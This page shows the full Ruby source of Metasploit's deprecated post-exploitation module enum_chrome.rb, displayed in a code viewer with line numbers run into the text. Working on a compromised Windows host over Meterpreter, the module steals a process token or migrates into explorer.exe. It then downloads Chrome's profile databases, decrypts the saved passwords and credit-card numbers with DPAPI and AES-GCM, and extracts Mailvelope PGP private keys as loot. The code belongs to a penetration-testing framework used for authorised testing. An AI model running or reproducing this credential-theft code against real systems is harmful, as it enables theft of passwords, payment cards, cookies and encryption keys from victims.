Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_chrome.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Exploit::Deprecated910deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Google Chrome User Data Enumeration',17'Description' => %q{18This module will collect user data from Google Chrome and attempt to decrypt19sensitive information.20},21'License' => MSF_LICENSE,22'Platform' => ['win'],23'SessionTypes' => ['meterpreter'],24'Author' => [25'Sven Taute', # Original (Meterpreter script)26'sinn3r', # Metasploit post module27'Kx499', # x64 support28'mubix' # Parse extensions29],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33core_channel_close34core_channel_eof35core_channel_open36core_channel_read37core_migrate38stdapi_fs_stat39stdapi_railgun_api40stdapi_sys_config_getenv41stdapi_sys_config_getsid42stdapi_sys_config_getuid43stdapi_sys_config_steal_token44stdapi_sys_process_attach45stdapi_sys_process_get_processes46stdapi_sys_process_memory_allocate47stdapi_sys_process_memory_read48stdapi_sys_process_memory_write49]50}51}52)53)5455register_options(56[57OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),58]59)60end6162def extension_mailvelope_parse_key(data)63return data.gsub("\x00", '').tr('[]', '').gsub('\\r', '').gsub('"', '').gsub('\\n', "\n")64end6566def extension_mailvelope_store_key(name, value)67return unless name =~ /(private|public)keys/i6869priv_or_pub = Regexp.last_match(1)7071keys = value.split(',')72print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")73keys.each do |key|74key_data = extension_mailvelope_parse_key(key)75vprint_good(key_data)76path = store_loot(77"chrome.mailvelope.#{priv_or_pub}", 'text/plain', session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key"78)79print_good("==> Saving #{priv_or_pub} key to: #{path}")80end81end8283def extension_mailvelope(username, extname)84chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'85maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"86if file_exist?(maildb_path) == false87print_error('==> Mailvelope database not found')88return89end90print_status('==> Downloading Mailvelope database...')91local_path = store_loot('chrome.ext.mailvelope', 'text/plain', session, 'chrome_ext_mailvelope')92session.fs.file.download_file(local_path, maildb_path)93print_good("==> Downloaded to #{local_path}")9495maildb = SQLite3::Database.new(local_path)96columns, *rows = maildb.execute2('select * from ItemTable;')97maildb.close9899rows.each do |name, value|100extension_mailvelope_store_key(name, value)101end102end103104def parse_prefs(username, filepath)105prefs = ''106File.open(filepath, 'rb') do |f|107prefs = f.read108end109results = ActiveSupport::JSON.decode(prefs)110if results['extensions']['settings']111print_status('Extensions installed: ')112results['extensions']['settings'].each do |name, values|113next unless values['manifest']114115print_status("=> #{values['manifest']['name']}")116if values['manifest']['name'] =~ /mailvelope/i117print_good('==> Found Mailvelope extension, extracting PGP keys')118extension_mailvelope(username, name)119end120end121end122end123124def get_master_key(local_state_path)125local_state_data = read_file(local_state_path)126local_state = JSON.parse(local_state_data)127master_key_base64 = local_state['os_crypt']['encrypted_key']128master_key = Rex::Text.decode_base64(master_key_base64)129master_key130end131132def decrypt_data(data)133mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']134return nil if mem == 0135136session.railgun.memwrite(mem, data, data.length)137138if session.arch == ARCH_X86139inout_fmt = 'V2'140elsif session.arch == ARCH_X64141inout_fmt = 'Q2'142else143fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.")144end145146pdatain = [data.length, mem].pack(inout_fmt)147ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)148len, addr = ret['pDataOut'].unpack(inout_fmt)149150decrypted = len == 0 ? nil : session.railgun.memread(addr, len)151152multi_rail = []153multi_rail << ['kernel32', 'LocalFree', [mem]]154multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0155session.railgun.multi(multi_rail)156157decrypted158end159160def process_files(username)161secrets = ''162masterkey = nil163decrypt_table = Rex::Text::Table.new(164'Header' => 'Decrypted data',165'Indent' => 1,166'Columns' => ['Name', 'Decrypted Data', 'Origin']167)168169@chrome_files.each do |item|170if item[:in_file] == 'Preferences'171parse_prefs(username, item[:raw_file])172end173174next if item[:sql].nil?175next if item[:raw_file].nil?176177db = SQLite3::Database.new(item[:raw_file])178begin179columns, *rows = db.execute2(item[:sql])180rescue StandardError181next182end183db.close184185rows.map! do |row|186res = Hash[*columns.zip(row).flatten]187next unless item[:encrypted_fields] && !session.sys.config.is_system?188189item[:encrypted_fields].each do |field|190name = res['name_on_card'].nil? ? res['username_value'] : res['name_on_card']191origin = res['label'].nil? ? res['origin_url'] : res['label']192enc_data = res[field]193194if enc_data.start_with? 'v10'195unless masterkey196print_status('Found password encrypted with masterkey')197local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'198masterkey_encrypted = get_master_key(local_state_path)199masterkey = decrypt_data(masterkey_encrypted[5..])200print_good('Found masterkey!') if masterkey201end202203cipher = OpenSSL::Cipher.new('aes-256-gcm')204cipher.decrypt205cipher.key = masterkey206cipher.iv = enc_data[3..14]207ciphertext = enc_data[15..-17]208cipher.auth_tag = enc_data[-16..]209pass = res[field + '_decrypted'] = cipher.update(ciphertext) + cipher.final210else211pass = res[field + '_decrypted'] = decrypt_data(enc_data)212end213next unless !pass.nil? && (pass != '')214215decrypt_table << [name, pass, origin]216secret = "url:#{origin} #{name}:#{pass}"217secrets << secret << "\n"218vprint_good("Decrypted data: #{secret}")219end220end221end222223if secrets != ''224path = store_loot('chrome.decrypted', 'text/plain', session, decrypt_table.to_s, 'decrypted_chrome_data.txt', 'Decrypted Chrome Data')225print_good("Decrypted data saved in: #{path}")226end227end228229def extract_data(username)230# Prepare Chrome's path on remote machine231chrome_path = @profiles_path + '\\' + username + @data_path + 'Default'232raw_files = {}233234@chrome_files.map { |e| e[:in_file] }.uniq.each do |f|235remote_path = chrome_path + '\\' + f236237# Verify the path before downloading the file238if file_exist?(remote_path) == false239print_error("#{f} not found")240next241end242243# Store raw data244local_path = store_loot("chrome.raw.#{f}", 'text/plain', session, "chrome_raw_#{f}")245raw_files[f] = local_path246session.fs.file.download_file(local_path, remote_path)247print_good("Downloaded #{f} to '#{local_path}'")248end249250# Assign raw file paths to @chrome_files251raw_files.each_pair do |raw_key, raw_path|252@chrome_files.each do |item|253if item[:in_file] == raw_key254item[:raw_file] = raw_path255end256end257end258259return true260end261262def steal_token263current_pid = session.sys.process.open.pid264target_pid = session.sys.process['explorer.exe']265return if target_pid == current_pid266267if target_pid.to_s.empty?268print_warning('No explorer.exe process to impersonate.')269return270end271272print_status("Impersonating token: #{target_pid}")273begin274session.sys.config.steal_token(target_pid)275return true276rescue Rex::Post::Meterpreter::RequestError => e277print_error("Cannot impersonate: #{e.message}")278return false279end280end281282def migrate(pid = nil)283current_pid = session.sys.process.open.pid284if !pid.nil? && (current_pid != pid)285# PID is specified286target_pid = pid287print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")288begin289session.core.migrate(target_pid)290rescue ::Exception => e291print_error(e.message)292return false293end294else295# No PID specified, assuming to migrate to explorer.exe296target_pid = session.sys.process['explorer.exe']297if target_pid != current_pid298@old_pid = current_pid299print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")300begin301session.core.migrate(target_pid)302rescue ::Exception => e303print_error(e)304return false305end306end307end308return true309end310311def run312@chrome_files = [313{ raw: '', in_file: 'Web Data', sql: 'select * from autofill;' },314{ raw: '', in_file: 'Web Data', sql: 'SELECT username_value,origin_url,signon_realm FROM logins;' },315{ raw: '', in_file: 'Web Data', sql: 'select * from autofill_profiles;' },316{ raw: '', in_file: 'Web Data', sql: 'select * from credit_cards;', encrypted_fields: ['card_number_encrypted'] },317{ raw: '', in_file: 'Cookies', sql: 'select * from cookies;' },318{ raw: '', in_file: 'History', sql: 'select * from urls;' },319{ raw: '', in_file: 'History', sql: 'SELECT url FROM downloads;' },320{ raw: '', in_file: 'History', sql: 'SELECT term FROM keyword_search_terms;' },321{ raw: '', in_file: 'Login Data', sql: 'select * from logins;', encrypted_fields: ['password_value'] },322{ raw: '', in_file: 'Bookmarks', sql: nil },323{ raw: '', in_file: 'Preferences', sql: nil },324]325326@old_pid = nil327migrate_success = false328329# If we can impersonate a token, we use that first.330# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to331got_token = steal_token332if !got_token && datastore['MIGRATE']333migrate_success = migrate334end335336host = session.session_host337338# Get Google Chrome user data path339env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')340sysdrive = env_vars['SYSTEMDRIVE'].strip341if directory?("#{sysdrive}\\Users")342@profiles_path = "#{sysdrive}/Users"343@data_path = '\\AppData\\Local\\Google\\Chrome\\User Data\\'344elsif directory?("#{sysdrive}\\Documents and Settings")345@profiles_path = "#{sysdrive}/Documents and Settings"346@data_path = '\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\'347end348349# Get user(s)350usernames = []351if is_system?352print_status('Running as SYSTEM, extracting user list...')353print_warning('(Automatic decryption will not be possible. You might want to manually migrate, or set "MIGRATE=true")')354session.fs.dir.foreach(@profiles_path) do |u|355not_actually_users = [356'.', '..', 'All Users', 'Default', 'Default User', 'Public', 'desktop.ini',357'LocalService', 'NetworkService'358]359usernames << u unless not_actually_users.include?(u)360end361print_status "Users found: #{usernames.join(', ')}"362else363uid = session.sys.config.getuid364print_status "Running as user '#{uid}'..."365usernames << env_vars['USERNAME'].strip if env_vars['USERNAME']366end367368has_sqlite3 = true369begin370require 'sqlite3'371rescue LoadError372print_warning('SQLite3 is not available, and we are not able to parse the database.')373has_sqlite3 = false374end375376# Process files for each username377usernames.each do |u|378print_status("Extracting data for user '#{u}'...")379success = extract_data(u)380process_files(u) if success && has_sqlite3381end382383# Migrate back to the original process384if datastore['MIGRATE'] && @old_pid && migrate_success385print_status('Migrating back...')386migrate(@old_pid)387end388end389end390391392